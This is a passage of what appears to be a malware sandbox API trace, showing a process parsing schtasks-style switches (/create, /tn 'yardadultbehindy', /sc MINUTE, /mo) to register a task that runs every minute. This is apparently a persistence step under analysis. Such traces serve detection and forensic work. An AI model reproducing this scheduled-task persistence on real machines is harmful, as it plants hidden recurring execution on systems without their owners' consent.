lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.285] lstrlenW (lpString="mo") returned 2 [0161.285] GetThreadLocale () returned 0x409 [0161.285] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.285] lstrlenW (lpString="d") returned 1 [0161.285] GetThreadLocale () returned 0x409 [0161.285] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.285] lstrlenW (lpString="m") returned 1 [0161.285] GetThreadLocale () returned 0x409 [0161.285] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.286] lstrlenW (lpString="i") returned 1 [0161.286] GetThreadLocale () returned 0x409 [0161.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.286] lstrlenW (lpString="tn") returned 2 [0161.286] GetThreadLocale () returned 0x409 [0161.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.286] lstrlenW (lpString="tr") returned 2 [0161.286] GetThreadLocale () returned 0x409 [0161.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.286] lstrlenW (lpString="st") returned 2 [0161.286] GetThreadLocale () returned 0x409 [0161.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.286] lstrlenW (lpString="sd") returned 2 [0161.286] GetThreadLocale () returned 0x409 [0161.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.286] lstrlenW (lpString="ed") returned 2 [0161.286] GetThreadLocale () returned 0x409 [0161.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.286] lstrlenW (lpString="it") returned 2 [0161.286] GetThreadLocale () returned 0x409 [0161.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.286] lstrlenW (lpString="et") returned 2 [0161.286] GetThreadLocale () returned 0x409 [0161.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.286] lstrlenW (lpString="k") returned 1 [0161.286] GetThreadLocale () returned 0x409 [0161.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.286] lstrlenW (lpString="du") returned 2 [0161.286] GetThreadLocale () returned 0x409 [0161.286] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.286] lstrlenW (lpString="ri") returned 2 [0161.286] GetThreadLocale () returned 0x409 [0161.287] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.287] lstrlenW (lpString="z") returned 1 [0161.287] GetThreadLocale () returned 0x409 [0161.287] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.287] lstrlenW (lpString="f") returned 1 [0161.287] GetThreadLocale () returned 0x409 [0161.287] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.287] lstrlenW (lpString="v1") returned 2 [0161.287] GetThreadLocale () returned 0x409 [0161.287] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.287] lstrlenW (lpString="xml") returned 3 [0161.287] GetThreadLocale () returned 0x409 [0161.287] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.287] lstrlenW (lpString="ec") returned 2 [0161.287] GetThreadLocale () returned 0x409 [0161.287] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.287] lstrlenW (lpString="rl") returned 2 [0161.287] GetThreadLocale () returned 0x409 [0161.287] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.287] lstrlenW (lpString="delay") returned 5 [0161.287] GetThreadLocale () returned 0x409 [0161.287] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0161.287] lstrlenW (lpString="np") returned 2 [0161.287] SetLastError (dwErrCode=0x0) [0161.287] SetLastError (dwErrCode=0x0) [0161.287] lstrlenW (lpString="/create") returned 7 [0161.287] lstrlenW (lpString="-/") returned 2 [0161.287] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0161.287] lstrlenW (lpString="create") returned 6 [0161.287] lstrlenW (lpString="create") returned 6 [0161.288] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.288] lstrlenW (lpString="create") returned 6 [0161.288] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.288] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|create|") returned 8 [0161.288] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|create|") returned 8 [0161.288] lstrlenW (lpString="|create|") returned 8 [0161.288] lstrlenW (lpString="|create|") returned 8 [0161.288] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0161.288] SetLastError (dwErrCode=0x0) [0161.288] SetLastError (dwErrCode=0x0) [0161.288] SetLastError (dwErrCode=0x0) [0161.288] lstrlenW (lpString="/tn") returned 3 [0161.288] lstrlenW (lpString="-/") returned 2 [0161.288] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0161.288] lstrlenW (lpString="create") returned 6 [0161.288] lstrlenW (lpString="create") returned 6 [0161.288] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.288] lstrlenW (lpString="tn") returned 2 [0161.288] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.288] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|create|") returned 8 [0161.288] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tn|") returned 4 [0161.288] lstrlenW (lpString="|create|") returned 8 [0161.288] lstrlenW (lpString="|tn|") returned 4 [0161.288] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0161.288] SetLastError (dwErrCode=0x490) [0161.288] lstrlenW (lpString="?") returned 1 [0161.288] lstrlenW (lpString="?") returned 1 [0161.289] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.289] lstrlenW (lpString="tn") returned 2 [0161.289] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.289] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|?|") returned 3 [0161.289] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tn|") returned 4 [0161.289] lstrlenW (lpString="|?|") returned 3 [0161.289] lstrlenW (lpString="|tn|") returned 4 [0161.289] SetLastError (dwErrCode=0x490) [0161.289] lstrlenW (lpString="s") returned 1 [0161.289] lstrlenW (lpString="s") returned 1 [0161.289] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.289] lstrlenW (lpString="tn") returned 2 [0161.289] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.289] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|s|") returned 3 [0161.289] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tn|") returned 4 [0161.289] lstrlenW (lpString="|s|") returned 3 [0161.289] lstrlenW (lpString="|tn|") returned 4 [0161.289] SetLastError (dwErrCode=0x490) [0161.289] lstrlenW (lpString="u") returned 1 [0161.289] lstrlenW (lpString="u") returned 1 [0161.289] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.289] lstrlenW (lpString="tn") returned 2 [0161.289] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.289] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|u|") returned 3 [0161.289] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tn|") returned 4 [0161.289] lstrlenW (lpString="|u|") returned 3 [0161.289] lstrlenW (lpString="|tn|") returned 4 [0161.290] SetLastError (dwErrCode=0x490) [0161.290] lstrlenW (lpString="p") returned 1 [0161.290] lstrlenW (lpString="p") returned 1 [0161.290] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.290] lstrlenW (lpString="tn") returned 2 [0161.290] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.290] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|p|") returned 3 [0161.290] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tn|") returned 4 [0161.290] lstrlenW (lpString="|p|") returned 3 [0161.290] lstrlenW (lpString="|tn|") returned 4 [0161.290] SetLastError (dwErrCode=0x490) [0161.290] lstrlenW (lpString="ru") returned 2 [0161.290] lstrlenW (lpString="ru") returned 2 [0161.290] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.290] lstrlenW (lpString="tn") returned 2 [0161.290] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.290] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|ru|") returned 4 [0161.290] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tn|") returned 4 [0161.290] lstrlenW (lpString="|ru|") returned 4 [0161.290] lstrlenW (lpString="|tn|") returned 4 [0161.290] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0161.290] SetLastError (dwErrCode=0x490) [0161.290] lstrlenW (lpString="rp") returned 2 [0161.290] lstrlenW (lpString="rp") returned 2 [0161.290] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.290] lstrlenW (lpString="tn") returned 2 [0161.290] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.291] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|rp|") returned 4 [0161.291] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tn|") returned 4 [0161.291] lstrlenW (lpString="|rp|") returned 4 [0161.291] lstrlenW (lpString="|tn|") returned 4 [0161.291] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0161.291] SetLastError (dwErrCode=0x490) [0161.291] lstrlenW (lpString="sc") returned 2 [0161.291] lstrlenW (lpString="sc") returned 2 [0161.291] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.291] lstrlenW (lpString="tn") returned 2 [0161.291] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.291] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|sc|") returned 4 [0161.291] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tn|") returned 4 [0161.291] lstrlenW (lpString="|sc|") returned 4 [0161.291] lstrlenW (lpString="|tn|") returned 4 [0161.291] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0161.291] SetLastError (dwErrCode=0x490) [0161.291] lstrlenW (lpString="mo") returned 2 [0161.291] lstrlenW (lpString="mo") returned 2 [0161.291] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.291] lstrlenW (lpString="tn") returned 2 [0161.291] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.291] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|mo|") returned 4 [0161.291] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tn|") returned 4 [0161.291] lstrlenW (lpString="|mo|") returned 4 [0161.291] lstrlenW (lpString="|tn|") returned 4 [0161.291] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0161.292] SetLastError (dwErrCode=0x490) [0161.292] lstrlenW (lpString="d") returned 1 [0161.292] lstrlenW (lpString="d") returned 1 [0161.292] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.292] lstrlenW (lpString="tn") returned 2 [0161.292] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.292] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|d|") returned 3 [0161.292] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tn|") returned 4 [0161.292] lstrlenW (lpString="|d|") returned 3 [0161.292] lstrlenW (lpString="|tn|") returned 4 [0161.292] SetLastError (dwErrCode=0x490) [0161.292] lstrlenW (lpString="m") returned 1 [0161.292] lstrlenW (lpString="m") returned 1 [0161.292] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.292] lstrlenW (lpString="tn") returned 2 [0161.292] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.292] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|m|") returned 3 [0161.292] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tn|") returned 4 [0161.292] lstrlenW (lpString="|m|") returned 3 [0161.292] lstrlenW (lpString="|tn|") returned 4 [0161.292] SetLastError (dwErrCode=0x490) [0161.292] lstrlenW (lpString="i") returned 1 [0161.292] lstrlenW (lpString="i") returned 1 [0161.292] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.292] lstrlenW (lpString="tn") returned 2 [0161.292] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.292] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|i|") returned 3 [0161.293] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tn|") returned 4 [0161.293] lstrlenW (lpString="|i|") returned 3 [0161.293] lstrlenW (lpString="|tn|") returned 4 [0161.293] SetLastError (dwErrCode=0x490) [0161.293] lstrlenW (lpString="tn") returned 2 [0161.293] lstrlenW (lpString="tn") returned 2 [0161.293] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.293] lstrlenW (lpString="tn") returned 2 [0161.293] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.293] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tn|") returned 4 [0161.293] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|tn|") returned 4 [0161.293] lstrlenW (lpString="|tn|") returned 4 [0161.293] lstrlenW (lpString="|tn|") returned 4 [0161.293] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0161.293] SetLastError (dwErrCode=0x0) [0161.293] SetLastError (dwErrCode=0x0) [0161.293] lstrlenW (lpString="yardadultbehindy") returned 16 [0161.293] lstrlenW (lpString="-/") returned 2 [0161.293] StrChrIW (lpStart="-/", wMatch=0x79) returned 0x0 [0161.293] SetLastError (dwErrCode=0x490) [0161.293] SetLastError (dwErrCode=0x490) [0161.293] SetLastError (dwErrCode=0x0) [0161.293] lstrlenW (lpString="yardadultbehindy") returned 16 [0161.293] StrChrIW (lpStart="yardadultbehindy", wMatch=0x3a) returned 0x0 [0161.293] SetLastError (dwErrCode=0x490) [0161.293] SetLastError (dwErrCode=0x0) [0161.293] lstrlenW (lpString="yardadultbehindy") returned 16 [0161.293] SetLastError (dwErrCode=0x0) [0161.293] SetLastError (dwErrCode=0x0) [0161.293] lstrlenW (lpString="/sc") returned 3 [0161.294] lstrlenW (lpString="-/") returned 2 [0161.294] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0161.294] lstrlenW (lpString="create") returned 6 [0161.294] lstrlenW (lpString="create") returned 6 [0161.294] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.294] lstrlenW (lpString="sc") returned 2 [0161.294] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.294] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|create|") returned 8 [0161.294] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|sc|") returned 4 [0161.294] lstrlenW (lpString="|create|") returned 8 [0161.294] lstrlenW (lpString="|sc|") returned 4 [0161.294] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0161.294] SetLastError (dwErrCode=0x490) [0161.294] lstrlenW (lpString="?") returned 1 [0161.294] lstrlenW (lpString="?") returned 1 [0161.294] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.294] lstrlenW (lpString="sc") returned 2 [0161.294] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.294] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|?|") returned 3 [0161.294] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|sc|") returned 4 [0161.294] lstrlenW (lpString="|?|") returned 3 [0161.294] lstrlenW (lpString="|sc|") returned 4 [0161.294] SetLastError (dwErrCode=0x490) [0161.294] lstrlenW (lpString="s") returned 1 [0161.294] lstrlenW (lpString="s") returned 1 [0161.294] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.294] lstrlenW (lpString="sc") returned 2 [0161.295] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.295] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|s|") returned 3 [0161.295] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|sc|") returned 4 [0161.295] lstrlenW (lpString="|s|") returned 3 [0161.295] lstrlenW (lpString="|sc|") returned 4 [0161.295] SetLastError (dwErrCode=0x490) [0161.295] lstrlenW (lpString="u") returned 1 [0161.295] lstrlenW (lpString="u") returned 1 [0161.295] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.295] lstrlenW (lpString="sc") returned 2 [0161.295] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.295] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|u|") returned 3 [0161.295] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|sc|") returned 4 [0161.295] lstrlenW (lpString="|u|") returned 3 [0161.295] lstrlenW (lpString="|sc|") returned 4 [0161.295] SetLastError (dwErrCode=0x490) [0161.295] lstrlenW (lpString="p") returned 1 [0161.295] lstrlenW (lpString="p") returned 1 [0161.295] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.295] lstrlenW (lpString="sc") returned 2 [0161.295] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.295] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|p|") returned 3 [0161.295] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|sc|") returned 4 [0161.295] lstrlenW (lpString="|p|") returned 3 [0161.295] lstrlenW (lpString="|sc|") returned 4 [0161.295] SetLastError (dwErrCode=0x490) [0161.295] lstrlenW (lpString="ru") returned 2 [0161.295] lstrlenW (lpString="ru") returned 2 [0161.295] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.296] lstrlenW (lpString="sc") returned 2 [0161.296] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.296] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|ru|") returned 4 [0161.296] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|sc|") returned 4 [0161.296] lstrlenW (lpString="|ru|") returned 4 [0161.296] lstrlenW (lpString="|sc|") returned 4 [0161.296] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0161.296] SetLastError (dwErrCode=0x490) [0161.296] lstrlenW (lpString="rp") returned 2 [0161.296] lstrlenW (lpString="rp") returned 2 [0161.296] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.296] lstrlenW (lpString="sc") returned 2 [0161.296] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.296] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|rp|") returned 4 [0161.296] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|sc|") returned 4 [0161.296] lstrlenW (lpString="|rp|") returned 4 [0161.296] lstrlenW (lpString="|sc|") returned 4 [0161.296] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0161.296] SetLastError (dwErrCode=0x490) [0161.296] lstrlenW (lpString="sc") returned 2 [0161.296] lstrlenW (lpString="sc") returned 2 [0161.297] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.297] lstrlenW (lpString="sc") returned 2 [0161.297] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.297] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|sc|") returned 4 [0161.297] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|sc|") returned 4 [0161.297] lstrlenW (lpString="|sc|") returned 4 [0161.297] lstrlenW (lpString="|sc|") returned 4 [0161.297] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0161.297] SetLastError (dwErrCode=0x0) [0161.297] SetLastError (dwErrCode=0x0) [0161.297] lstrlenW (lpString="MINUTE") returned 6 [0161.297] lstrlenW (lpString="-/") returned 2 [0161.297] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0161.297] SetLastError (dwErrCode=0x490) [0161.297] SetLastError (dwErrCode=0x490) [0161.297] SetLastError (dwErrCode=0x0) [0161.297] lstrlenW (lpString="MINUTE") returned 6 [0161.297] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0161.297] SetLastError (dwErrCode=0x490) [0161.297] SetLastError (dwErrCode=0x0) [0161.297] GetProcessHeap () returned 0x3f0000 [0161.297] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x18) returned 0x40d550 [0161.297] _memicmp (_Buf1=0x40d550, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.297] lstrlenW (lpString="MINUTE") returned 6 [0161.297] GetProcessHeap () returned 0x3f0000 [0161.297] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0xe) returned 0x40d570 [0161.297] lstrlenW (lpString="MINUTE") returned 6 [0161.297] lstrlenW (lpString=" \x09") returned 2 [0161.297] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0161.297] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0161.298] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0161.298] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0161.298] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0161.298] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0161.298] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0161.298] GetLastError () returned 0x0 [0161.298] lstrlenW (lpString="MINUTE") returned 6 [0161.298] lstrlenW (lpString="MINUTE") returned 6 [0161.298] SetLastError (dwErrCode=0x0) [0161.298] SetLastError (dwErrCode=0x0) [0161.298] lstrlenW (lpString="/mo") returned 3 [0161.298] lstrlenW (lpString="-/") returned 2 [0161.298] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0161.298] lstrlenW (lpString="create") returned 6 [0161.298] lstrlenW (lpString="create") returned 6 [0161.298] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.298] lstrlenW (lpString="mo") returned 2 [0161.298] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.298] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|create|") returned 8 [0161.298] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|mo|") returned 4 [0161.298] lstrlenW (lpString="|create|") returned 8 [0161.298] lstrlenW (lpString="|mo|") returned 4 [0161.298] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0161.298] SetLastError (dwErrCode=0x490) [0161.298] lstrlenW (lpString="?") returned 1 [0161.298] lstrlenW (lpString="?") returned 1 [0161.298] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.298] lstrlenW (lpString="mo") returned 2 [0161.298] _memicmp (_Buf1=0x40c230, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.299] _vsnwprintf (in: _Buffer=0x40c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|?|") returned 3 [0161.299] _vsnwprintf (in: _Buffer=0x40c250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c648 | out: _Buffer="|mo|") returned 4 [0161.299] lstrlenW (lpString="|?|") returned 3 [0161.299] lstrlenW (lpString="|mo|") returned 4 [0161.299] SetLastError (dwErrCode=0x490) [0161.299] lstrlenW (lpString="s") returned 1 [0161.299] lstrlenW (lpString="s") returned 1 [0161.299] _memicmp (_Buf1=0x40c1f0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.299] lstrlenW (lpString="mo") 